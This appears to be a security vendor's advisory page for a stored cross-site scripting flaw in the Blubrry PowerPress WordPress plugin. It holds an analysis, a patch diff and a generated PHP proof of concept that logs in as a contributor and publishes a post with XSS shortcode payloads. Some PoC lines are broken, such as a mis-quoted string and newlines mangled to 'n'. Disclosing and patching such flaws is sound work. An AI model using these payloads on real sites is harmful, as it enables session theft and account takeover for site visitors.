Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : April 21, 2026

CVE-2026-2988: Blubrry PowerPress <= 11.15.15 – Authenticated (Contributor+) Stored Cross-Site Scripting via powerpress and podcast Shortcodes (powerpress)

CVE ID CVE-2026-2988
Plugin powerpress
Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 11.15.15
Patched Version 11.15.16
Disclosed April 6, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-2988:
The Blubrry PowerPress WordPress plugin versions up to 11.15.15 contain an authenticated stored cross-site scripting vulnerability. Contributor-level or higher authenticated attackers can inject arbitrary JavaScript via the ‘powerpress’ and ‘podcast’ shortcodes. This vulnerability receives a CVSS score of 6.4 (Medium severity).

The root cause is insufficient input sanitization and output escaping in the shortcode handler functions. The vulnerability exists in the powerpress/powerpress-player.php file within the powerpress_shortcode() function (lines 134-230). User-supplied attributes for the ‘powerpress’ and ‘podcast’ shortcodes, including ‘url’, ‘image’, ‘width’, and ‘height’ parameters, lack proper validation before being stored in the $EpisodeData array. These values later render without adequate escaping in multiple output contexts.

Exploitation requires contributor-level WordPress access. Attackers create or edit posts containing malicious shortcodes like [powerpress url=”javascript:alert(document.domain)”] or [podcast image=”javascript:alert(1)”]. The plugin stores these unsanitized values in post content. When visitors view the compromised page, the browser executes the injected scripts in the context of the vulnerable site, enabling session hijacking, administrative actions, or content defacement.

The patch introduces multiple security improvements. It adds esc_url_raw() sanitization for ‘url’ and ‘image’ parameters at lines 140-141. The code replaces parse_url() with filter_var(FILTER_VALIDATE_URL) for URL validation at line 153. Output escaping functions now secure all rendering points: esc_url() for media URLs (line 823), absint() for width/height attributes (lines 388-389, 838-839), esc_attr() for IDs (line 1051), and esc_html() for feed names (lines 1035-1037). The patch also adds default empty array returns to get_option() calls throughout the file.

Successful exploitation allows attackers with contributor privileges to execute arbitrary JavaScript in victim browsers. This enables session cookie theft, account takeover, administrative actions through CSRF, content manipulation, and malware distribution. The stored nature means all users viewing the compromised page become victims without further interaction.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/powerpress/powerpress-player.php
+++ b/powerpress/powerpress-player.php
@@ -134,11 +134,14 @@
 			'channel' => '',
 			'slug' => '',
 			'image' => '',
-			'width' => '',
+            'width' => '',
 			'height' => '',
             'sample' => ''
 		), $attributes ) );
-
+
+    $url = esc_url_raw($url);
+    $image = esc_url_raw($image);
+
 	if( empty($channel) && !empty($feed) ) // Feed for backward compat.
 		$channel = $feed;
 	if( !empty($slug) ) // Foward compatibility
@@ -147,8 +150,8 @@
 	if( !$url && $content )
 	{
 		$content_url = trim($content);
-		if( @parse_url($content_url) )
-			$url = $content_url;
+		if( filter_var($content_url, FILTER_VALIDATE_URL) )
+			$url = esc_url_raw($content_url);
 	}

 	if( $url && !$sample )
@@ -176,7 +179,7 @@
 		if( !empty($width) )
 			$EpisodeData['width'] = $width;
 		if( !empty($height) )
-			$EpisodeData['height'] = $height;
+            $EpisodeData['height'] = $height;
 		if (!empty($url)) {
             $EpisodeData['url'] = $url;
         }
@@ -193,7 +196,7 @@
         }


-        $GeneralSettings = get_option('powerpress_general');
+        $GeneralSettings = get_option('powerpress_general', []);
 		if( isset($GeneralSettings['premium_caps']) && $GeneralSettings['premium_caps'] && !powerpress_premium_content_authorized($channel) )
 		{
 			$return .= powerpress_premium_content_message($post_id, $channel, $EpisodeData);
@@ -214,7 +217,7 @@
 	}
 	else
 	{
-		$GeneralSettings = get_option('powerpress_general');
+		$GeneralSettings = get_option('powerpress_general', []);
 		if( !isset($GeneralSettings['custom_feeds']['podcast']) )
 			$GeneralSettings['custom_feeds']['podcast'] = 'Podcast Feed'; // Fixes scenario where the user never configured the custom default podcast feed.

@@ -227,7 +230,7 @@
 			}

 			// Get the feed slugs and titles for this post type
-			$PostTypeSettingsArray = get_option('powerpress_posttype_'.$post_type);
+			$PostTypeSettingsArray = get_option('powerpress_posttype_'.$post_type, []);
 			// Loop through this array...
 			if( !empty($PostTypeSettingsArray) )
 			{
@@ -332,29 +335,25 @@
 		return '';
 	}

-	$width = 0;
-	$height = 0;
-	if( !empty($EpisodeData['width']) && is_numeric($EpisodeData['width']) )
-		$width = $EpisodeData['width'];
-	if( !empty($EpisodeData['height']) && is_numeric($EpisodeData['height']) )
-		$height = $EpisodeData['height'];
+    $width = absint($EpisodeData['width'] ?? 0);
+    $height = absint($EpisodeData['height'] ?? 0);

 	// More efficient, only pull the general settings if necessary
 	if( $height == 0 || $width == 0 )
 	{
-		$GeneralSettings = get_option('powerpress_general');
+		$GeneralSettings = get_option('powerpress_general', []);
 		if( $width == 0 )
 		{
 			$width = 400;
 			if( !empty($GeneralSettings['player_width']) )
-				$width = $GeneralSettings['player_width'];
+				$width = absint($GeneralSettings['player_width']);
 		}

 		if( $height == 0 )
 		{
 			$height = 400;
 			if( !empty($GeneralSettings['player_height']) )
-				$height = $GeneralSettings['player_height'];
+				$height = absint($GeneralSettings['player_height']);
 		}

 		$extension = powerpressplayer_get_extension($EpisodeData['url']);
@@ -365,12 +364,12 @@
 				$height = 30; // Hack for audio to only include the player without the poster art
 				$width = 320;
 				if( !empty($GeneralSettings['player_width_audio']) )
-					$width = $GeneralSettings['player_width_audio'];
+					$width = absint($GeneralSettings['player_width_audio']);
 			}
 		}
 		else if ( $player == 'default' )
 		{
-			if(  ($extension == 'mp3' || $extension == 'm4a' ) && empty($Settings['poster_image_audio']) )
+			if(  ($extension == 'mp3' || $extension == 'm4a' ) && empty($GeneralSettings['poster_image_audio']) )
 			{
 				$height = 24; // Hack for audio to only include the player without the poster art
 				$width = 320;
@@ -389,8 +388,8 @@
     $iframeTitle = esc_attr( __('Blubrry Podcast Player', 'powerpress') );
 	$embed .= '<iframe';
 	//$embed .= ' class="powerpress-player-embed"';
-	$embed .= ' width="'. htmlspecialchars($width) .'"';
-	$embed .= ' height="'. htmlspecialchars($height) .'"';
+	$embed .= ' width="'. absint($width) .'"';
+	$embed .= ' height="'. absint($height) .'"';
 	$embed .= ' src="'. htmlspecialchars($url) .'"';
     $embed .= ' title="'. htmlspecialchars($iframeTitle) .'"';
 	$embed .= ' frameborder="0" scrolling="no"';
@@ -522,7 +521,7 @@
 		// MP3
 		case 'mp3':
 		{
-			$Settings = get_option('powerpress_general');
+			$Settings = get_option('powerpress_general', []);
 			if( !isset($Settings['player']) )
 				$Settings['player'] = 'mediaelement-audio';

@@ -544,7 +543,7 @@
 		}; break;
 		case 'm4a': {

-			$Settings = get_option('powerpress_general');
+			$Settings = get_option('powerpress_general', []);
 			if( !isset($Settings['player']) )
 				$Settings['player'] = 'mediaelement-audio';

@@ -573,7 +572,7 @@
 		}
 		case 'oga': {

-			$Settings = get_option('powerpress_general');
+			$Settings = get_option('powerpress_general', []);
 			if( !isset($Settings['player']) )
 				$Settings['player'] = 'mediaelement-audio';

@@ -610,7 +609,7 @@
 		// OGG Video / WebM
 		case 'webm':
 		case 'ogv': { // Use native player when possible
-			$Settings = get_option('powerpress_general');
+			$Settings = get_option('powerpress_general', []);
 			if( !isset($Settings['video_player']) )
 				$Settings['video_player'] = 'mediaelement-video';
 			else if( !isset($Settings['video_player']) )
@@ -635,7 +634,7 @@
 		case 'mp4':
 		// Okay, lets see if we we have a player setup to handle this
 		{
-			$Settings = get_option('powerpress_general');
+			$Settings = get_option('powerpress_general', []);
 			if( !isset($Settings['video_player']) )
 				$Settings['video_player'] = 'mediaelement-video';

@@ -677,7 +676,7 @@
 		case 'mp3':
 		case 'mp4':
 		case 'm4v':
-		case 'webm';
+        case 'webm':
 		case 'ogg':
 		case 'ogv':
 		case 'oga':
@@ -821,12 +820,12 @@
             $addhtml .= '<meta itemprop="description" content="' . htmlspecialchars($subtitle) . '" />' . PHP_EOL_WEB;
         }
 	}
-	$addhtml .= '<meta itemprop="contentUrl" content="'. htmlspecialchars($media_url) .'" />'.PHP_EOL_WEB;
+	$addhtml .= '<meta itemprop="contentUrl" content="'. esc_url($media_url) .'" />'.PHP_EOL_WEB;

 	// For thumbnail image, use the podcast artwork
 	if( !empty($EpisodeData['image']) )
 	{
-		$addhtml .= '<meta itemprop="thumbnailURL" content="'.$EpisodeData['image'] .'" />'.PHP_EOL_WEB;
+		$addhtml .= '<meta itemprop="thumbnailURL" content="'. esc_url($EpisodeData['image']) .'" />'.PHP_EOL_WEB;
 	}

 	if( !empty($EpisodeData['size']) )
@@ -837,12 +836,12 @@
 	// <meta itemprop="videoQuality" content="HD"/>
 	if( !empty($EpisodeData['height']) && is_numeric($EpisodeData['height']) )
 	{
-		$addhtml .= '<meta itemprop="height" content="'.$EpisodeData['height'] .'" />'.PHP_EOL_WEB;
+		$addhtml .= '<meta itemprop="height" content="'. absint($EpisodeData['height']) .'" />'.PHP_EOL_WEB;
 	}

 	if( !empty($EpisodeData['width']) && is_numeric($EpisodeData['width']) )
 	{
-		$addhtml .= '<meta itemprop="width" content="'.$EpisodeData['width'] .'" />'.PHP_EOL_WEB;
+		$addhtml .= '<meta itemprop="width" content="'. absint($EpisodeData['width']) .'" />'.PHP_EOL_WEB;
 	}

 	return $content . $addhtml;
@@ -851,8 +850,9 @@
 function powerpress_iso8601_duration($duration)
 {
 	$seconds = 0;
-	$parts = explode(':', $duration);
-	if( count($parts) == 3 )
+    $parts = array_map('absint', explode(':', $duration));
+
+    if( count($parts) == 3 )
 		$seconds = $parts[2] + ($parts[1]*60) + ($parts[0]*60*60);
 	else if ( count($parts) == 2 )
 		$seconds = $parts[1] + ($parts[0]*60);
@@ -900,7 +900,7 @@
 function powerpressplayer_link_download($content, $media_url, $ExtraData = array() )
 {
 	$media_url = esc_url(powerpress_add_flag_to_redirect_url($media_url,'s'));
-	$GeneralSettings = get_option('powerpress_general');
+	$GeneralSettings = get_option('powerpress_general', []);
 	if( !isset($GeneralSettings['podcast_link']) )
 		$GeneralSettings['podcast_link'] = 1;

@@ -929,7 +929,7 @@

 function powerpressplayer_link_pinw($content, $media_url, $ExtraData = array() )
 {
-	$GeneralSettings = get_option('powerpress_general');
+	$GeneralSettings = get_option('powerpress_general', []);
 	if( !isset($GeneralSettings['player_function']) )
 		$GeneralSettings['player_function'] = 1;
 	$is_pdf = (strtolower( substr($media_url, -3) ) == 'pdf' );
@@ -967,7 +967,7 @@
 	$player = false;
 	if( preg_match('/(mp3|m4a|oga|mp4|m4v|webm|ogg|ogv)/i', $extension ) )
 	{
-		$GeneralSettings = get_option('powerpress_general');
+		$GeneralSettings = get_option('powerpress_general', []);
 		if( empty($GeneralSettings['podcast_embed']) )
 			return false;
 		if( empty($GeneralSettings['player']) || $GeneralSettings['player'] == 'flow-player-classic' )
@@ -1024,25 +1024,35 @@
 			$extension  = strtolower($parts['extension']);

 		$prefix = '';
-		if( $extension == 'pdf' )
-			$prefix .= __('E-Book PDF', 'powerpress') . ( $ExtraData['feed']=='pdf'||$ExtraData['feed']=='podcast'?'':" ({$ExtraData['feed']})") .POWERPRESS_TEXT_SEPARATOR;
+        if( $extension == 'pdf' ) {
+            $prefix = __('E-Book PDF', 'powerpress');
+            $feed_safe = esc_html($ExtraData['feed']);
+            $suffix = (( $feed_safe === 'pdf' || $feed_safe === 'podcast')
+                        ? ''
+                        : " ({$feed_safe})") . POWERPRESS_TEXT_SEPARATOR;
+
+            $prefix .= $suffix;
+        }
 		else if( $ExtraData['feed'] != 'podcast' )
-			$prefix .= htmlspecialchars(POWERPRESS_LINKS_TEXT) .' ('. htmlspecialchars($ExtraData['feed']) .')'. POWERPRESS_TEXT_SEPARATOR;
+			$prefix .= esc_html(POWERPRESS_LINKS_TEXT) .' ('. esc_html($ExtraData['feed']) .')'. POWERPRESS_TEXT_SEPARATOR;
 		else
-			$prefix .= htmlspecialchars(POWERPRESS_LINKS_TEXT) . POWERPRESS_TEXT_SEPARATOR;
+			$prefix .= esc_html(POWERPRESS_LINKS_TEXT) . POWERPRESS_TEXT_SEPARATOR;
 		if( !empty($prefix) )
 			$prefix .= ' ';

-		$return = '<p class="powerpress_links powerpress_links_'. $extension .'" style="margin-bottom: 1px !important;">'. $prefix . $content . '</p>';
+		$return = '<p class="powerpress_links powerpress_links_'. sanitize_html_class($extension) .'" style="margin-bottom: 1px !important;">'. $prefix . $content . '</p>';
 		$player = powerpressplayer_embedable($media_url, $ExtraData);
 		if( $player )
 		{
 			if( !empty($ExtraData['embed']) )
 				$iframe_src = $ExtraData['embed'];
 			else
-				$iframe_src = powerpress_generate_embed($player, $ExtraData);
-			$return .= '<p class="powerpress_embed_box" id="powerpress_embed_'. "{$ExtraData['id']}-{$ExtraData['feed']}" .'" style="display: none;">';
-			$return .= '<input id="powerpress_embed_'. "{$ExtraData['id']}-{$ExtraData['feed']}" .'_t" type="text" value="'. htmlspecialchars(str_replace("&", "&", $iframe_src)) .'" onclick="javascript: this.select();" onfocus="javascript: this.select();" style="width: 70%;" readOnly>';
+                $iframe_src = powerpress_generate_embed($player, $ExtraData);
+
+            $id_safe = esc_attr($ExtraData['id']);
+            $feed_safe = esc_attr($ExtraData['feed']);
+			$return .= '<p class="powerpress_embed_box" id="powerpress_embed_'. "{$id_safe}-{$feed_safe}" .'" style="display: none;">';
+			$return .= '<input id="powerpress_embed_'. "{$id_safe}-{$feed_safe}" .'_t" type="text" value="'. htmlspecialchars(str_replace("&", "&", $iframe_src)) .'" onclick="javascript: this.select();" onfocus="javascript: this.select();" style="width: 70%;" readOnly>';
 			$return .= '</p>';
 		}
 		return $return;
@@ -1073,7 +1083,7 @@
 		$EpisodeData = powerpress_get_enclosure_data_podpress($post_id);
 	}

-	$GeneralSettings = get_option('powerpress_general');
+	$GeneralSettings = get_option('powerpress_general', []);

 	echo '<!DOCTYPE html>'; // HTML5!
 ?>
@@ -1149,7 +1159,7 @@
 	$player_height = 225;
 	$autoplay = false;
 	// Global Settings
-	$Settings = get_option('powerpress_general');
+	$Settings = get_option('powerpress_general', []);
 	if( !empty($Settings['player_width']) )
 		$player_width = $Settings['player_width'];
 	if( !empty($Settings['player_height']) )
@@ -1258,7 +1268,7 @@
 	$player_height = '';
 	$autoplay = false;
 	// Global Settings
-	$Settings = get_option('powerpress_general');
+	$Settings = get_option('powerpress_general', []);
 	if( !empty($Settings['player_width']) )
 		$player_width = $Settings['player_width'];
 	if( !empty($Settings['player_height']) )
@@ -1285,13 +1295,13 @@
 	$content = '';

 	$content .= '<div class="powerpress_player" id="powerpress_player_'. $player_id .'">'.PHP_EOL_WEB;
-	$attr = array('src'=>htmlspecialchars($media_url), 'poster'=>'', 'loop'=>'', 'autoplay'=>'', 'preload'=>'none'); // , 'width'=>'', 'height'=>'');
-	if( !empty($player_width) )
-		$attr['width'] = $player_width;
-	if( !empty($player_height) )
-		$attr['height'] = $player_height;
+    $attr = array('src'=> esc_url($media_url), 'poster'=>'', 'loop'=>'', 'autoplay'=>'', 'preload'=>'none'); // , 'width'=>'', 'height'=>'');
+    if( !empty($player_width) )
+        $attr['width'] = absint($player_width);
+    if( !empty($player_height) )
+        $attr['height'] = absint($player_height);
 	if( !empty($cover_image) )
-		$attr['poster'] = htmlspecialchars($cover_image);
+		$attr['poster'] = esc_url($cover_image);
 	if( !empty($autoplay) )
 		$attr['autoplay'] = 'on';
 	if( !empty($EpisodeData['webm_src']) )
@@ -1307,7 +1317,7 @@
 			$shortcode_value .= ' '.esc_attr($tag_name).'="'. esc_attr($tag_value) .'"';
 		}
 		$shortcode_value .= ']';
-		$shortcode .= do_shortcode($shortcode_value);
+		$shortcode = do_shortcode($shortcode_value);
 	}


@@ -1348,7 +1358,7 @@
 	}
 	else
 	{
-		$GeneralSettings = get_option('powerpress_general');
+		$GeneralSettings = get_option('powerpress_general', []);
 		$cover_image = powerpress_get_root_url() . 'play_audio.png';
 		$cover_image_default = $cover_image;
 		if( !empty($EpisodeData['custom_play_button']) )
@@ -1392,8 +1402,8 @@
     // media URL is all we need., as long as it's hosted at blubrry.com...
     if( preg_match('/(content|protected|ins|mc).blubrry.com/', $media_url) )
     {
-        $GeneralSettings = get_option('powerpress_general');
-        $playerSettings = get_option('powerpress_bplayer');
+        $GeneralSettings = get_option('powerpress_general', []);
+        $playerSettings = get_option('powerpress_bplayer', []);
         $hash = '';
         if(!empty($playerSettings)){
             if(is_string($playerSettings)){
@@ -1523,41 +1533,43 @@

 function powerpressplayer_build_playimage($media_url, $EpisodeData = array(), $include_div = false)
 {
-	$content = '';
+    $content = '';
 	$autoplay = false;
 	if( !empty($EpisodeData['autoplay']) && $EpisodeData['autoplay'] )
-		$autoplay = true;
+        $autoplay = true;
 	$player_width = 400;
 	$player_height = 225;
-	$cover_image = '';
+    $cover_image = '';
+
 	// Global settings
-	$Settings = get_option('powerpress_general');
+	$Settings = get_option('powerpress_general', []);
 	if( !empty($Settings['player_width']) )
-		$player_width = $Settings['player_width'];
+		$player_width = absint($Settings['player_width']);
 	if( !empty($Settings['player_height']) )
-		$player_height = $Settings['player_height'];
+		$player_height = absint($Settings['player_height']);
 	if( !empty($Settings['poster_image']) )
-		$cover_image = $Settings['poster_image'];
+        $cover_image = esc_url_raw($Settings['poster_image']);
+
 	// episode settings
 	if( !empty($EpisodeData['width']) )
-		$player_width = $EpisodeData['width'];
+		$player_width = absint($EpisodeData['width']);
 	if( !empty($EpisodeData['height']) )
-		$player_height = $EpisodeData['height'];
+		$player_height = absint($EpisodeData['height']);
 	if( !empty($EpisodeData['image']) )
-		$cover_image = $EpisodeData['image'];
+		$cover_image = esc_url_raw($EpisodeData['image']);

 	if( !$cover_image )
 		$cover_image = powerpress_get_root_url() . 'black.png';

 	if( $include_div )
 		$content .= '<div class="powerpress_player" id="powerpress_player_'. powerpressplayer_get_next_id() .'">';
-	$content .= '<a href="'. htmlspecialchars($media_url) .'" title="'. htmlspecialchars(POWERPRESS_PLAY_TEXT) .'" target="_blank" style="position: relative;">';
-	$content .= '<img src="'. htmlspecialchars($cover_image) .'" title="'. htmlspecialchars(POWERPRESS_PLAY_TEXT) .'" alt="'. htmlspecialchars(POWERPRESS_PLAY_TEXT) .'" style="width: '. htmlspecialchars($player_width) .'px; height: '. htmlspecialchars($player_height) .'px;" />';
+	$content .= '<a href="'. esc_url($media_url) .'" title="'. htmlspecialchars(POWERPRESS_PLAY_TEXT) .'" target="_blank" style="position: relative;">';
+	$content .= '<img src="'. esc_url($cover_image) .'" title="'. htmlspecialchars(POWERPRESS_PLAY_TEXT) .'" alt="'. htmlspecialchars(POWERPRESS_PLAY_TEXT) .'" style="width: '. absint($player_width) .'px; height: '. absint($player_height) .'px;" />';
 	if(!isset($Settings['poster_play_image']) || $Settings['poster_play_image'] )
 	{
 		$play_image_button_url = powerpress_get_root_url() .'play_video.png';
 		if( !empty($Settings['video_custom_play_button']) )
-			$play_image_button_url = $Settings['video_custom_play_button'];
+			$play_image_button_url = esc_url_raw($Settings['video_custom_play_button']);

 		$bottom = floor(($player_height/2)-30);
 		if( $bottom < 0 )
@@ -1565,7 +1577,7 @@
 		$left = floor(($player_width/2)-30);
 		if( $left < 0 )
 			$left = 0;
-		$content .= '<img src="'. htmlspecialchars($play_image_button_url) .'" title="'. htmlspecialchars(POWERPRESS_PLAY_TEXT) .'" alt="'. htmlspecialchars(POWERPRESS_PLAY_TEXT) .'" style="position: absolute; bottom:'. $bottom .'px; left:'. $left .'px; border:0;" />';
+		$content .= '<img src="'. esc_url($play_image_button_url) .'" title="'. htmlspecialchars(POWERPRESS_PLAY_TEXT) .'" alt="'. htmlspecialchars(POWERPRESS_PLAY_TEXT) .'" style="position: absolute; bottom:'. $bottom .'px; left:'. $left .'px; border:0;" />';
 	}
 	$content .= '</a>';
 	if( $include_div )
@@ -1577,7 +1589,7 @@
 {
 	$content = '';
 	$cover_image = powerpress_get_root_url() . 'play_audio.png';
-	$GeneralSettings = get_option('powerpress_general');
+	$GeneralSettings = get_option('powerpress_general', []);
 	if( !empty($GeneralSettings['custom_play_button']) )
 		$cover_image = $GeneralSettings['custom_play_button'];

@@ -1595,7 +1607,7 @@
 {
 	$content = '';
 	$cover_image = powerpress_get_root_url() . 'play_pdf.png';
-	$GeneralSettings = get_option('powerpress_general');
+	$GeneralSettings = get_option('powerpress_general', []);
 	if( !empty($GeneralSettings['pdf_custom_play_button']) )
 		$cover_image = $GeneralSettings['pdf_custom_play_button'];

@@ -1613,7 +1625,7 @@
 {
 	$content = '';
 	$cover_image = powerpress_get_root_url() . 'play_epub.png';
-	$GeneralSettings = get_option('powerpress_general');
+	$GeneralSettings = get_option('powerpress_general', []);
 	if( !empty($GeneralSettings['epub_custom_play_button']) )
 		$cover_image = $GeneralSettings['epub_custom_play_button'];

@@ -1636,7 +1648,7 @@
 	if( function_exists('add_videojs_header') )
 	{
 		// Global Settings
-		$Settings = get_option('powerpress_general');
+		$Settings = get_option('powerpress_general', []);

 		$player_id = powerpressplayer_get_next_id();
 		$cover_image = '';
--- a/powerpress/powerpress.php
+++ b/powerpress/powerpress.php
@@ -3,7 +3,7 @@
 Plugin Name: Blubrry PowerPress
 Plugin URI: https://blubrry.com/services/powerpress-plugin/
 Description: <a href="https://blubrry.com/services/powerpress-plugin/" target="_blank">Blubrry PowerPress</a> is the No. 1 Podcasting plugin for WordPress. Developed by podcasters for podcasters; features include Simple and Advanced modes, multiple audio/video player options, subscribe to podcast tools, podcast SEO features, and more! Fully supports Apple Podcasts (previously iTunes), Google Podcasts, Spotify, and Blubrry Podcasting directories, as well as all podcast applications and clients.
-Version: 11.15.15
+Version: 11.15.16
 Author: Blubrry
 Author URI: https://blubrry.com/
 Requires at least: 3.6
@@ -134,7 +134,7 @@
 add_action('init', 'PowerPress_PRT_incidence_response');

 // WP_PLUGIN_DIR (REMEMBER TO USE THIS DEFINE IF NEEDED)
-define('POWERPRESS_VERSION', '11.15.15' );
+define('POWERPRESS_VERSION', '11.15.16' );

 // Translation support:
 if ( !defined('POWERPRESS_ABSPATH') )

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-2988 - Blubrry PowerPress <= 11.15.15 - Authenticated (Contributor+) Stored Cross-Site Scripting via powerpress and podcast Shortcodes

<?php
/**
 * Proof of Concept for CVE-2026-2988
 * Requires valid contributor-level WordPress credentials
 * Demonstrates XSS injection via the 'powerpress' shortcode
 */

$target_url = 'https://vulnerable-wordpress-site.com';
$username = 'contributor_user';
$password = 'contributor_password';

// Payloads demonstrating different injection vectors
$payloads = [
    // JavaScript in URL parameter
    '[powerpress url="javascript:alert(document.domain)"]',
    
    // JavaScript in image parameter with event handler
    '[powerpress image="x" onerror="alert(1)"]',
    
    // Malicious width/height attributes
    '[powerpress width="100" onmouseover="alert('XSS')"]',
    
    // Podcast shortcode variant
    '[podcast url="data:text/html,<script>alert('podcast')</script>"]'
];

// Initialize cURL session for WordPress authentication
$ch = curl_init();
curl_setopt_array($ch, [
    CURLOPT_URL => $target_url . '/wp-login.php',
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_FOLLOWLOCATION => true,
    CURLOPT_COOKIEJAR => '/tmp/wp_cookies.txt',
    CURLOPT_COOKIEFILE => '/tmp/wp_cookies.txt',
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => http_build_query([
        'log' => $username,
        'pwd' => $password,
        'wp-submit' => 'Log In',
        'redirect_to' => $target_url . '/wp-admin/',
        'testcookie' => '1'
    ])
]);

$response = curl_exec($ch);

// Check if login succeeded by looking for admin dashboard
if (strpos($response, 'wp-admin') === false) {
    die('Authentication failed. Check credentials.');
}

echo "[+] Successfully authenticated as $usernamen";

// Get nonce for new post creation
curl_setopt_array($ch, [
    CURLOPT_URL => $target_url . '/wp-admin/post-new.php',
    CURLOPT_POST => false
]);

$response = curl_exec($ch);

// Extract nonce from the page (simplified pattern)
preg_match('/_wpnonce" value="([a-f0-9]+)"/', $response, $matches);
$nonce = $matches[1] ?? '';

if (empty($nonce)) {
    die('Could not extract security nonce');
}

echo "[+] Extracted nonce: $noncen";

// Create a new post with malicious shortcode
$post_title = 'Test Post ' . time();
$post_content = 'This post contains a malicious PowerPress shortcode:nn' . $payloads[0];

curl_setopt_array($ch, [
    CURLOPT_URL => $target_url . '/wp-admin/post.php',
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => http_build_query([
        'post_title' => $post_title,
        'content' => $post_content,
        'publish' => 'Publish',
        'post_type' => 'post',
        '_wpnonce' => $nonce,
        '_wp_http_referer' => '/wp-admin/post-new.php',
        'post_status' => 'publish'
    ])
]);

$response = curl_exec($ch);

// Check if post was created successfully
if (strpos($response, 'Post published') !== false || strpos($response, 'post=') !== false) {
    echo "[+] Malicious post created successfullyn";
    echo "[+] Visit the post to trigger XSS payload: javascript:alert(document.domain)n";
} else {
    echo "[-] Post creation may have failedn";
}

curl_close($ch);
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School